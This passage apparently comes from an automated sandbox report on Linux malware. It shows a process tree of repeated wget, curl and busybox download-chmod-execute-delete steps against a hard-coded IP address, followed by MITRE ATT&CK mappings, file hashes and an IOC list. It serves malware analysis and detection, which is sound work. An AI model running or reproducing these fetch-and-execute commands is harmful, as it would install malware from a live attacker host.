  chmod 777 u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  ./u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
  2⤵
  PID:963
- /usr/bin/wget
  wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:966
- /bin/chmod
  chmod 777 MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  ./MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
  2⤵
  PID:969
- /usr/bin/wget
  wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:972
- /bin/chmod
  chmod 777 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  ./9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm 9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
  2⤵
  PID:975
- /usr/bin/wget
  wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:978
- /bin/chmod
  chmod 777 znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  ./znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
  2⤵
  PID:981

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ

Path /tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	740	duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	746	u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	761	MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	790	9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	809	znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA
/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	818	kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	837	42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	860	1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	866	I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	872	qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	878	Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	884	IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	890	DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	896	9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
/tmp/1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS	902	1UUkxof3GqI3wNTRgH4H48fxhHtEe8pKrS
/tmp/I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t	908	I48bwc6r6ki7VwiKVM8jomK2TOdPY8Nv6t
/tmp/IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv	914	IzufB9OFA2jH2E3bYWZs5rj48BdJz5R8lv
/tmp/qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA	920	qYe4YgF9mkarZg4u3go8rPtj72iaQQBsfA
/tmp/Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS	926	Jpz5SSNw80EX8C7bbSSIVzJjtIgE823ovS
/tmp/DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8	932	DxvHsoPCvsxHC4OroffrQEz01NE0VZ0mM8
/tmp/9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF	938	9hXBhQ2qdCFdgkJ43WqodGDr2spLKsMrkF
/tmp/kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl	944	kWeUPCVWzEG668OO4wE0Xnu2iJpq9lSENl
/tmp/42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs	950	42Bl52aa6XmQbBhBzSA1OdNr54J0Cjc7qs
/tmp/duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ	956	duwXFAXWCeTO4a278SnHwENlBTnb3A1JMQ
/tmp/u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq	962	u2Z5IlwnVLrLPeywV2LtjPXRCEHIOtLdTq
/tmp/MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL	968	MfOQWEJJGW59km5B1XaHopRkcm1sUYDLJL
/tmp/9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27	974	9kwPr9G14A3vuswrzArUFY6A7t5mjzTR27
/tmp/znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA	980	znuvBZSWmEaFYZKwd3K9gxnIlX6QdCrwZA